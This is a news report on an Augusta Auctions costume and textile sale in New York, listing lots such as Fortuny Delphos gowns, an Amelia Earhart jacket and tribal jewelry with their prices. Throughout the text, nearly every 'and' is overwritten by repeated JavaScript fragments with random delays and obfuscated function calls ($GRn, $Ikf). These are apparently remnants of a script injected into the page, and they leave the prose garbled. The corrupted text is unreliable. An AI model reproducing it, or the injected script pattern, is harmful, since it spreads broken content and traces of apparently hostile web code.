By: Victoria Winslow

NEW YORK CITY — Augusta Auctions’ April 9 sale saw some iconic dresses cross the auction block. Dealers, collectors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and museum representatives gathered at Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andmark on the Park to bid on fashion from the legendary Brooklyn Museum’s historical costume collection, the Museum of the City of New York, the Strong Museum, a prominent Boston family collection of tribal jewelry andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other estates.

A stunning black silk Christian Dior tulip dress, late 1950s, no label, but probably from one of the first Yves Saint Laurent collections for Christian Dior, nearly doubled its high estimate when it fetched $5,500, going to a European museum.

The sale featured not one but two Fortuny silk Delphos gowns from the 1930s. The first, in raspberry red, with short sleeves, coming from a New York collector, sold for $8,500. The other, in gold with the original box andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in great condition, finished at $8,000, from a Connecticut collection.

A rare Amelia Earhart jacket of white perforated kid skin was purchased by the Henry Ford Museum for $5,750. Bearing the original label andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and designed by Earhart, it is one of just a few known in existence. Another unusual piece selling to a museum collection was a blond beaver top hat, circa 1850–1860, the color andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and material playing an important part in the hat nearing its $800 price.

Tribal jewelry saw a lot of interest from Chinese buyers with one lot selling for a surprising $12,000 ($200/400) to a Chinese gentleman in the audience. A pair of Baltic necklaces achieved $5,500 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a lot of loose beads, China or Tibet, sold for $4,250 ($800–$1,000).

The textiles portion of the sale did well with a Sixteenth Century four-section tapestry finishing at $2,300, despite wear. A pair of Chinese imperial chair covers, Nineteenth–Twentieth Century, mended andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and worn, sold online for $2,500. Paisleys were popular: a good prayer rug design piece attained $3,250; a stripped Persian paisley went out at $1,700 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a machine-made piece achieved $600.

Wearable vintage andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and later Twentieth Century pieces saw some great deals. A stunning one-shoulder Pucci silk gown from the 1970s sold for just $550, a lot of two mid-Twentieth Century Pucci dresses brought $250 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and three Pucci beach covers took $500. Mid-Victorian children’s wear featured great buys at an average of $200 per lot.

All prices reported include the buyer’s premium.

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